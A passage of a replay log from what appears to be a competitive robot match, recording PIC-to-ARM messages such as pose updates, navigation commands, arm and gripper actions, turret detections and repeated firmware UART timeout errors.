l(['93.13','PIC',KeepAlive(current_pose = Pose(0.37837934494, 1.69736802578, 0.767832696438), match_started = True, match_time = 13040)])
l(['93.13','ARM',KeepAlive(current_pose = Pose(0.37837934494, 1.69736802578, 0.767832696438), match_started = True, match_time = 13040)])
l(['93.38','PIC',KeepAlive(current_pose = Pose(0.334278047085, 1.65459954739, 0.779195845127), match_started = True, match_time = 13290)])
l(['93.38','ARM',KeepAlive(current_pose = Pose(0.334278047085, 1.65459954739, 0.779195845127), match_started = True, match_time = 13290)])
l(['93.61','PIC',GotoFinished(reason = 0, current_pose = Pose(0.311202317476, 1.63175415993, 0.778286755085), current_point_index = 1)])
l(['93.61','ARM','# Poping sub-state TrajectoryWalk'])
l(['93.61','ARM','# Pushing sub-state Antiblocking'])
l(['93.61','ARM',DisableAntiBlocking()])
l(['93.62','PIC',DisableAntiBlocking()])
l(['93.62','ARM','# Poping sub-state Antiblocking'])
l(['93.62','ARM','# Poping sub-state Sequence'])
l(['93.62','ARM','# Poping sub-state Navigate'])
l(['93.62','ARM','# Pushing sub-state GrabMap'])
l(['93.62','ARM','# Pushing sub-state TrajectoryWalk'])
l(['93.62','ARM',Goto(movement = 0, direction = 1, angle = 0.0, points = [])])
l(['93.65','PIC',GotoStarted()])
l(['93.69','PIC',KeepAlive(current_pose = Pose(0.309573531151, 1.63014864922, 0.777591586113), match_started = True, match_time = 13560)])
l(['93.69','ARM',KeepAlive(current_pose = Pose(0.309573531151, 1.63014864922, 0.777591586113), match_started = True, match_time = 13560)])
l(['93.88','PIC',KeepAlive(current_pose = Pose(0.309518754482, 1.63007378578, 0.69885122776), match_started = True, match_time = 13790)])
l(['94.13','PIC',KeepAlive(current_pose = Pose(0.308397263288, 1.6294850111, 0.426027208567), match_started = True, match_time = 14040)])
l(['94.13','ARM',KeepAlive(current_pose = Pose(0.308397263288, 1.6294850111, 0.426027208567), match_started = True, match_time = 14040)])
l(['94.38','PIC',KeepAlive(current_pose = Pose(0.30809533596, 1.62954056263, 0.152427852154), match_started = True, match_time = 14290)])
l(['94.38','ARM',KeepAlive(current_pose = Pose(0.30809533596, 1.62954056263, 0.152427852154), match_started = True, match_time = 14290)])
l(['94.53','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['94.54','PIC',GotoFinished(reason = 0, current_pose = Pose(0.307985424995, 1.62946891785, 0.030266687274), current_point_index = 1)])
l(['94.54','ARM','# Pushing sub-state StoreFabric'])
l(['94.55','ARM',FabricStoreControl(move = 0)])
l(['94.55','PIC','# \x00\x1b[3\x001m\x0014460,\x00Project\\rsDaisyChain.c,\x004,\x00UART reception Error,\x00263,\x00UART_RX3B,\x00UART error : Reception UART3B (overrrun or Frame error'])
l(['94.55','PIC','# \x00\x1b[3\x001m\x0014460,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.56','PIC','# \x00\x1b[3\x001m\x0014470,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.57','PIC','# \x00\x1b[3\x001m\x0014480,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.58','PIC','# \x00\x1b[3\x001m\x0014490,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.59','PIC','# \x00\x1b[3\x001m\x0014500,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.60','PIC','# \x00\x1b[3\x001m\x0014510,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.61','PIC','# \x00\x1b[3\x001m\x0014520,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.62','PIC','# \x00\x1b[3\x001m\x0014530,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.63','PIC',KeepAlive(current_pose = Pose(0.308472275734, 1.62947702408, 0.00778090441599), match_started = True, match_time = 14540)])
l(['94.63','ARM',KeepAlive(current_pose = Pose(0.308472275734, 1.62947702408, 0.00778090441599), match_started = True, match_time = 14540)])
l(['94.64','PIC','# \x00\x1b[3\x001m\x0014541,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.64','PIC','# \x00\x1b[3\x001m\x0014551,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.65','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['94.65','PIC','# \x00\x1b[3\x001m\x0014561,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.66','PIC','# \x00\x1b[3\x001m\x0014571,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.67','PIC','# \x00\x1b[3\x001m\x0014581,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.68','PIC','# \x00\x1b[3\x001m\x0014591,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.69','PIC','# \x00\x1b[3\x001m\x0014601,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.70','PIC','# \x00\x1b[3\x001m\x0014611,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.71','PIC','# \x00\x1b[3\x001m\x0014621,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.72','PIC','# \x00\x1b[3\x001m\x0014631,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.73','PIC','# \x00\x1b[3\x001m\x0014641,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.74','PIC','# \x00\x1b[3\x001m\x0014651,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.75','PIC','# \x00\x1b[3\x001m\x0014661,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.76','PIC','# \x00\x1b[3\x001m\x0014671,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.77','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['94.77','PIC','# \x00\x1b[3\x001m\x0014681,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.78','PIC','# \x00\x1b[3\x001m\x0014691,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.79','PIC','# \x00\x1b[3\x001m\x0014701,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.80','PIC','# \x00\x1b[3\x001m\x0014711,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.81','PIC','# \x00\x1b[3\x001m\x0014721,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.82','PIC','# \x00\x1b[3\x001m\x0014731,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.83','PIC','# \x00\x1b[3\x001m\x0014741,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.84','PIC','# \x00\x1b[3\x001m\x0014751,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.85','PIC','# \x00\x1b[3\x001m\x0014761,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.86','PIC','# \x00\x1b[3\x001m\x0014771,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.87','PIC','# \x00\x1b[3\x001m\x0014781,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.88','PIC',KeepAlive(current_pose = Pose(0.307237744331, 1.62946045399, 0.00743332365528), match_started = True, match_time = 14790)])
l(['94.88','ARM',KeepAlive(current_pose = Pose(0.307237744331, 1.62946045399, 0.00743332365528), match_started = True, match_time = 14790)])
l(['94.89','PIC','# \x00\x1b[3\x001m\x0014791,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.89','PIC','# \x00\x1b[3\x001m\x0014801,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.90','PIC','# \x00\x1b[3\x001m\x0014811,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.91','PIC','# \x00\x1b[3\x001m\x0014821,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.92','PIC','# \x00\x1b[3\x001m\x0014831,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.93','PIC','# \x00\x1b[3\x001m\x0014841,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.94','PIC','# \x00\x1b[3\x001m\x0014851,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.95','PIC','# \x00\x1b[3\x001m\x0014861,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.96','PIC','# \x00\x1b[3\x001m\x0014871,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.97','PIC','# \x00\x1b[3\x001m\x0014881,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.98','PIC','# \x00\x1b[3\x001m\x0014891,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['94.99','PIC','# \x00\x1b[3\x001m\x0014901,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['95.00','PIC','# \x00\x1b[3\x001m\x0014911,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['95.01','PIC','# \x00\x1b[3\x001m\x0014921,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['95.02','PIC','# \x00\x1b[3\x001m\x0014931,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['95.03','PIC','# \x00\x1b[3\x001m\x0014941,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['95.04','PIC','# \x00\x1b[3\x001m\x0014951,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['95.06','PIC',FabricStoreControl(move = 0)])
l(['95.06','ARM','# Poping sub-state StoreFabric'])
l(['95.06','ARM','# Pushing sub-state MapArm'])
l(['95.06','ARM',MapArmControl(move = 1)])
l(['95.13','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['95.13','PIC',KeepAlive(current_pose = Pose(0.307335168123, 1.62946128845, 0.00767395691946), match_started = True, match_time = 15040)])
l(['95.13','ARM',KeepAlive(current_pose = Pose(0.307335168123, 1.62946128845, 0.00767395691946), match_started = True, match_time = 15040)])
l(['95.25','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['95.37','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['95.38','PIC',KeepAlive(current_pose = Pose(0.307275444269, 1.62946093082, 0.00802153721452), match_started = True, match_time = 15290)])
l(['95.38','ARM',KeepAlive(current_pose = Pose(0.307275444269, 1.62946093082, 0.00802153721452), match_started = True, match_time = 15290)])
l(['95.49','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['95.58','PIC',MapArmControl(move = 1)])
l(['95.58','ARM','# Poping sub-state MapArm'])
l(['95.58','ARM','# Pushing sub-state MapGripper'])
l(['95.58','ARM',MapGripperControl(move = 1)])
l(['95.61','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['95.63','PIC',KeepAlive(current_pose = Pose(0.307291150093, 1.62946105003, 0.0082621704787), match_started = True, match_time = 15540)])
l(['95.63','ARM',KeepAlive(current_pose = Pose(0.307291150093, 1.62946105003, 0.0082621704787), match_started = True, match_time = 15540)])
l(['95.73','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['95.80','PIC',MapGripperControl(move = 1)])
l(['95.80','ARM','# Poping sub-state MapGripper'])
l(['95.80','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.0572996829772, 1.62739553091, None)])])
l(['95.83','PIC',GotoStarted()])
l(['95.85','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['95.88','PIC',KeepAlive(current_pose = Pose(0.306851327419, 1.62945723534, 0.00906427949667), match_started = True, match_time = 15790)])
l(['95.88','ARM',KeepAlive(current_pose = Pose(0.306851327419, 1.62945723534, 0.00906427949667), match_started = True, match_time = 15790)])
l(['95.97','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['96.09','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['96.13','PIC',KeepAlive(current_pose = Pose(0.279968559742, 1.62905395031, 0.0125935561955), match_started = True, match_time = 16040)])
l(['96.13','ARM',KeepAlive(current_pose = Pose(0.279968559742, 1.62905395031, 0.0125935561955), match_started = True, match_time = 16040)])
l(['96.21','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['96.33','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['96.38','PIC',KeepAlive(current_pose = Pose(0.203437298536, 1.62874412537, 0.00139077007771), match_started = True, match_time = 16290)])
l(['96.38','ARM',KeepAlive(current_pose = Pose(0.203437298536, 1.62874412537, 0.00139077007771), match_started = True, match_time = 16290)])
l(['96.63','PIC',KeepAlive(current_pose = Pose(0.185009881854, 1.6288536787, 0.0168179981411), match_started = True, match_time = 16540)])
l(['96.63','ARM',KeepAlive(current_pose = Pose(0.185009881854, 1.6288536787, 0.0168179981411), match_started = True, match_time = 16540)])
l(['96.88','PIC',KeepAlive(current_pose = Pose(0.184098660946, 1.62886238098, 0.0136630358174), match_started = True, match_time = 16790)])
l(['96.88','ARM',KeepAlive(current_pose = Pose(0.184098660946, 1.62886238098, 0.0136630358174), match_started = True, match_time = 16790)])
l(['97.13','PIC',KeepAlive(current_pose = Pose(0.184038966894, 1.62886142731, 0.0134758772328), match_started = True, match_time = 17040)])
l(['97.13','ARM',KeepAlive(current_pose = Pose(0.184038966894, 1.62886142731, 0.0134758772328), match_started = True, match_time = 17040)])
l(['97.34','PIC',GotoFinished(reason = 0, current_pose = Pose(0.184045284986, 1.62886154652, 0.0138501953334), current_point_index = 1)])
l(['97.34','ARM','# Pushing sub-state MapGripper'])
l(['97.34','ARM',MapGripperControl(move = 0)])
l(['97.38','PIC',KeepAlive(current_pose = Pose(0.184152081609, 1.62886297703, 0.0140106165782), match_started = True, match_time = 17290)])
l(['97.38','ARM',KeepAlive(current_pose = Pose(0.184152081609, 1.62886297703, 0.0140106165782), match_started = True, match_time = 17290)])
l(['97.55','PIC',MapGripperControl(move = 0)])
l(['97.55','ARM','# Poping sub-state MapGripper'])
l(['97.55','ARM',Goto(movement = 2, direction = 1, angle = None, points = [Pose(0.434127544838, 1.63236551658, None)])])
l(['97.58','PIC',GotoStarted()])
l(['97.63','PIC',KeepAlive(current_pose = Pose(0.185119584203, 1.62887704372, 0.0150800934061), match_started = True, match_time = 17540)])
l(['97.63','ARM',KeepAlive(current_pose = Pose(0.185119584203, 1.62887704372, 0.0150800934061), match_started = True, match_time = 17540)])
l(['97.88','PIC',KeepAlive(current_pose = Pose(0.212096124887, 1.62930893898, 0.0183954760432), match_started = True, match_time = 17790)])
l(['97.88','ARM',KeepAlive(current_pose = Pose(0.212096124887, 1.62930893898, 0.0183954760432), match_started = True, match_time = 17790)])
l(['98.13','PIC',KeepAlive(current_pose = Pose(0.287870705128, 1.63071513176, 0.0140106175095), match_started = True, match_time = 18040)])
l(['98.13','ARM',KeepAlive(current_pose = Pose(0.287870705128, 1.63071513176, 0.0140106175095), match_started = True, match_time = 18040)])
l(['98.38','PIC',KeepAlive(current_pose = Pose(0.36918848753, 1.63189268112, 0.0177805274725), match_started = True, match_time = 18290)])
l(['98.38','ARM',KeepAlive(current_pose = Pose(0.36918848753, 1.63189268112, 0.0177805274725), match_started = True, match_time = 18290)])
l(['98.51','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['98.63','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['98.63','PIC',KeepAlive(current_pose = Pose(0.41380122304, 1.63269817829, 0.0173260010779), match_started = True, match_time = 18540)])
l(['98.63','ARM',KeepAlive(current_pose = Pose(0.41380122304, 1.63269817829, 0.0173260010779), match_started = True, match_time = 18540)])
l(['98.75','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['98.79','PIC',GotoFinished(reason = 0, current_pose = Pose(0.431819140911, 1.63297843933, 0.0135293537751), current_point_index = 1)])
l(['98.79','ARM','# Pushing sub-state MapArm'])
l(['98.79','ARM',MapArmControl(move = 0)])
l(['98.87','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['98.88','PIC',KeepAlive(current_pose = Pose(0.433678805828, 1.63300395012, 0.00973270460963), match_started = True, match_time = 18790)])
l(['98.88','ARM',KeepAlive(current_pose = Pose(0.433678805828, 1.63300395012, 0.00973270460963), match_started = True, match_time = 18790)])
l(['98.99','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['99.11','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['99.13','PIC',KeepAlive(current_pose = Pose(0.433421194553, 1.63300132751, 0.00994660053402), match_started = True, match_time = 19040)])
l(['99.13','ARM',KeepAlive(current_pose = Pose(0.433421194553, 1.63300132751, 0.00994660053402), match_started = True, match_time = 19040)])
l(['99.23','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['99.30','PIC',MapArmControl(move = 0)])
l(['99.30','ARM','# Poping sub-state MapArm'])
l(['99.30','ARM','# Pushing sub-state StoreFabric'])
l(['99.30','ARM',FabricStoreControl(move = 1)])
l(['99.31','PIC','# \x00\x1b[3\x001m\x0019220,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.31','PIC','# \x00\x1b[3\x001m\x0019220,\x00Project\\rsDaisyChain.c,\x004,\x00UART reception Error,\x00263,\x00UART_RX3B,\x00UART error : Reception UART3B (overrrun or Frame error'])
l(['99.32','PIC','# \x00\x1b[3\x001m\x0019230,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.33','PIC','# \x00\x1b[3\x001m\x0019240,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.34','PIC','# \x00\x1b[3\x001m\x0019250,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.35','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['99.35','PIC','# \x00\x1b[3\x001m\x0019260,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.36','PIC','# \x00\x1b[3\x001m\x0019270,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.37','PIC','# \x00\x1b[3\x001m\x0019280,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.38','PIC',KeepAlive(current_pose = Pose(0.433414936066, 1.63300168514, 0.00957228429615), match_started = True, match_time = 19290)])
l(['99.38','ARM',KeepAlive(current_pose = Pose(0.433414936066, 1.63300168514, 0.00957228429615), match_started = True, match_time = 19290)])
l(['99.39','PIC','# \x00\x1b[3\x001m\x0019291,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.39','PIC','# \x00\x1b[3\x001m\x0019301,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.40','PIC','# \x00\x1b[3\x001m\x0019311,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.41','PIC','# \x00\x1b[3\x001m\x0019321,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.42','PIC','# \x00\x1b[3\x001m\x0019331,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.43','PIC','# \x00\x1b[3\x001m\x0019341,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.44','PIC','# \x00\x1b[3\x001m\x0019351,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.45','PIC','# \x00\x1b[3\x001m\x0019361,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.46','PIC','# \x00\x1b[3\x001m\x0019371,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.47','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['99.47','PIC','# \x00\x1b[3\x001m\x0019381,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.48','PIC','# \x00\x1b[3\x001m\x0019391,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.49','PIC','# \x00\x1b[3\x001m\x0019401,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.50','PIC','# \x00\x1b[3\x001m\x0019411,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.51','PIC','# \x00\x1b[3\x001m\x0019421,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.52','PIC','# \x00\x1b[3\x001m\x0019431,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.53','PIC','# \x00\x1b[3\x001m\x0019441,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.54','PIC','# \x00\x1b[3\x001m\x0019451,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.55','PIC','# \x00\x1b[3\x001m\x0019461,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.56','PIC','# \x00\x1b[3\x001m\x0019471,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.57','PIC','# \x00\x1b[3\x001m\x0019481,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.58','PIC','# \x00\x1b[3\x001m\x0019491,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.59','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['99.59','PIC','# \x00\x1b[3\x001m\x0019501,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.60','PIC','# \x00\x1b[3\x001m\x0019511,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.61','PIC','# \x00\x1b[3\x001m\x0019521,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.62','PIC','# \x00\x1b[3\x001m\x0019531,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.63','PIC',KeepAlive(current_pose = Pose(0.432990759611, 1.63299775124, 0.00820869859308), match_started = True, match_time = 19540)])
l(['99.63','ARM',KeepAlive(current_pose = Pose(0.432990759611, 1.63299775124, 0.00820869859308), match_started = True, match_time = 19540)])
l(['99.64','PIC','# \x00\x1b[3\x001m\x0019541,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.64','PIC','# \x00\x1b[3\x001m\x0019551,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.65','PIC','# \x00\x1b[3\x001m\x0019561,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.66','PIC','# \x00\x1b[3\x001m\x0019571,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.67','PIC','# \x00\x1b[3\x001m\x0019581,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.68','PIC','# \x00\x1b[3\x001m\x0019591,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.69','PIC','# \x00\x1b[3\x001m\x0019601,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
